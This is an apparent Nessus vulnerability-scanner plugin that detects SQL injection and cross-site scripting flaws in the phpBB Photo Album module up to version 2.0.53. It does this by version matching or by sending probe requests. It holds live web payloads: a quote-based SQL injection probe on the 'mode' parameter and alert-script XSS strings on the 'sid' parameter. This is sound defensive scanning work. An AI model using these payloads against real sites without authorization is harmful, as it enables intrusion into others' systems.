phpBB Photo Album Module <= 2.0.53 Multiple Vulnerabilities

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18051);
  script_version("1.24");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-1114", "CVE-2005-1115");
  script_bugtraq_id(13157, 13158);

  script_name(english:"phpBB Photo Album Module <= 2.0.53 Multiple Vulnerabilities");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The installed version of phpBB on the remote host includes a photo
album module that has multiple vulnerabilities:

  - A SQL Injection Vulnerability
    An attacker can pass arbitrary SQL code through the 'mode'
    parameter of the 'album_search.php' script to manipulate
    database queries.

  - Various Cross-Site Scripting Vulnerabilities
    The application fails to properly sanitize user input 
    through the 'sid' parameter of the 'album_cat.php' and
    'album_comment.php' scripts. An attacker can exploit
    these flaws to cause arbitrary HTML and script code to
    be run in a user's browser within the context of the
    affected website.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Apr/191");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/04/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/04/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpbb_group:phpbb");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_MIXED_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 Tenable Network Security, Inc.");

  script_dependencies("phpbb_detect.nasl", "cross_site_scripting.nasl");
  script_require_keys("www/phpBB");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # If safe checks are enabled...
  if (safe_checks()) {
    # Get the main page.
    r = http_send_recv3(method:"GET",item:string(dir, "/album.php"), port:port);
    if (isnull(r)) exit(0);
    res = r[2];

    # And check the version number embedded in the page.
    if (egrep(
      string:res, 
      # version 2.0.53 and below may be vulnerable.
      # sample version strings:
      #   >Powered by Photo Album Addon 2 &copy; 2002-2003 <a href="http://smartor.is-root.com"
      #   >Powered by Photo Album Addon 2.0.5 &copy; 2002-2003 <a href="http://smartor.is-root.com"
      #   >Powered by Photo Album 2.0.51 &copy; 2002-2003 <a href="http://smartor.is-root.com"
      #   >Powered by Photo Album 2.0.53 &copy; 2002-2003 <a href="http://smartor.is-root.com"
      pattern:'>Powered by Photo Album (Addon )?([01].*|2|2\\.0\\.([0-4].*|5[0-3]?)) &copy; .+ <a href="http://smartor\\.is-root\\.com"', 
      icase:TRUE)
    ) {
      security_hole(port);
      set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
      set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
    }
  }
  # Otherwise...
  else {
    # Try the SQL injection first.
    r = http_send_recv3(method:"GET",
      item:string(
        dir, "/album_search.php?",
        "search=", SCRIPT_NAME, "&",
        # nb: this should just generate a syntax error. If you change this,
        #     also make sure to change the pattern below.
        "mode='NESSUS"
      ), 
      port:port
    );
    if (isnull(r)) exit(0);
    res = r[2];

    # There's a problem if we see a syntax error.
    if (egrep(string:res, pattern:"SQL Error : .+ LIKE '%NESSUS")) {
      security_hole(port);
      set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
      set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
      exit(0);
    }

    # If that failed to pick up anything, try to exploit the XSS flaws.
    if (get_kb_item("www/"+port+"/generic_xss")) exit(0);

    # A simple alert to display "Nessus was here".
    xss = "<script>alert('Nessus was here');</script>";
    # nb: the url-encoded version is what we need to pass in.
    exss = "%3Cscript%3Ealert('Nessus%20was%20here')%3B%3C%2Fscript%3E";
    exploits = make_list(
      "/album_cat.php?cat_id=1&sid='%22%3E" + exss,
      "/album_comment.php?pic_id=1&sid='%22%3E" + exss
    );

    foreach exploit (exploits) {
      r = http_send_recv3(method:"GET", item:string(dir, exploit), port:port);
      if (isnull(r)) exit(0);
      res = r[2];

      # There's a problem if we see our XSS.
      if (xss >< res) {
        security_hole(port);
	set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
	set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
        exit(0);
      }
    }
  }
}